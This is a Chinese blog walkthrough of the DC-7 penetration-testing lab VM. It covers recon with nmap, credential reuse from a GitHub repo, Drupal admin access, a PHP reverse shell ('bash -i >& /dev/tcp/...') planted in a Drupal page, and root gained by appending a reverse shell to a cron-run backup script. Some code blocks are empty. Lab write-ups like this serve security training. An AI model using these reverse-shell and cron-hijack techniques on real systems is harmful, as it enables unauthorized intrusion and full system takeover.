DC-7 靶机实战:社会工程学突破 + Drupal 利用 + 定时任务提权WriteUP

DC-7 靶机实战:社会工程学突破 + Drupal 利用 + 定时任务提权WriteUP
28.7的博客DC-7靶机渗透测试完整流程
其他靶机WP(附靶机)
如果不会科学上网,这里给出了需要的代码以及拓展
1. 信息收集
1.1 arp-收集靶机IP等信息
通过arp-scan命令扫描局域网,快速定位虚拟环境(pnet)中的靶机IP。
1 | arp-scan -l |
1.2 Nmap 端口与系统探测
1.2.1 基础端口扫描
先用nmap进行默认端口扫描,初步了解靶机开放的端口和服务。
1 | nmap 192.168.87.136 |
1.2.2 系统与服务版本探测
添加-sV参数,进一步探测服务版本和操作系统信息,确认Web服务为Drupal(与DC-1靶机一致)。
1 | nmap -sV 192.168.87.136 |
2. Web层分析与社会工程学突破
2.1 访问靶机Web页面
打开http://192.168.87.136,页面提示DC-7的核心思路:禁止暴力破解/字典攻击,需“跳出固有思维”,且页脚存在关键提示@DC7USER(DC-1靶机无此信息)。
2.2 搜索@DC7USER获取敏感信息
在GitHub搜索DC7USER,发现靶机作者关联的仓库,下载仓库文件审计后,在config.php中找到MySQL数据库账号密码:
1 |
|
3. SSH登录与邮件分析
3.1 尝试SSH登录
意外发现MySQL账号密码可直接用于SSH登录(靶机作者设计的突破口):
1 | ssh dc7user@192.168.87.136 |
3.2 查看用户邮件
渗透DC系列靶机的常规操作:查看/var/mail/dc7user,发现关键邮件——包含Drupal管理员密码重置命令:
1 | # 邮件中记录的重置命令 |
4. Drupal后台与反弹Shell
4.1 登录Drupal后台
访问http://192.168.87.136/user,用账号admin、密码28.7Blog登录成功:
4.2 安装插件实现代码执行
为了植入反弹Shell,需安装支持“自定义PHP内容”的插件:
- 进入后台 →
Extend(扩展) → 安装“Basic Page”插件(支持在内容中插入PHP代码)。 - 开启插件后,进入
Content→Add content→Basic page。
4.3 植入反弹Shell并监听
Kali端监听端口(选择6666端口):
1
nc -lvp 6666
Drupal后台插入PHP反弹代码:
在Basic Page的内容区输入以下代码(替换Kali的IP为实际地址192.168.87.130):1
2
3
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.87.130/6666 0>&1'");触发Shell:点击
Save保存页面,Kali端立即接收到反弹Shell(权限为www-data):
5. 利用定时任务提权(获取root)
5.1 分析定时任务线索
从dc7user的邮件可知,靶机存在定时执行的备份脚本/opt/scripts/backups.sh,且脚本以root权限运行(15分钟执行一次)。
5.2 修改备份脚本植入反弹Shell
在www-data权限的Shell中,向backups.sh追加反弹代码(监听7777端口,避免与之前的6666端口冲突):
1 | # 向备份脚本追加反弹命令 |
5.3 监听并获取root权限
Kali端新终端监听7777端口:
1
nc -lvp 7777
等待定时任务执行:约15分钟后,定时任务触发
backups.sh,Kali端接收到root权限的Shell。
6. 获取最终Flag
进入/root目录,查看thefinalflag.txt,获取靶机最终Flag:
1 | 888 888 888 888 8888888b. 888 888 888 888 |
渗透核心思路总结
DC-7的核心考点是“社会工程学”与“定时任务提权”,而非传统的漏洞利用:
- 从Web页脚的
@DC7USER切入,通过GitHub获取敏感账号密码; - 利用“一套密码多用”的习惯(MySQL=SSH)登录靶机;
- 从用户邮件中获取Drupal管理员密码;
- 借助Drupal插件实现代码执行,获取初始Shell;
- 分析定时任务脚本,利用root权限执行特性提权。















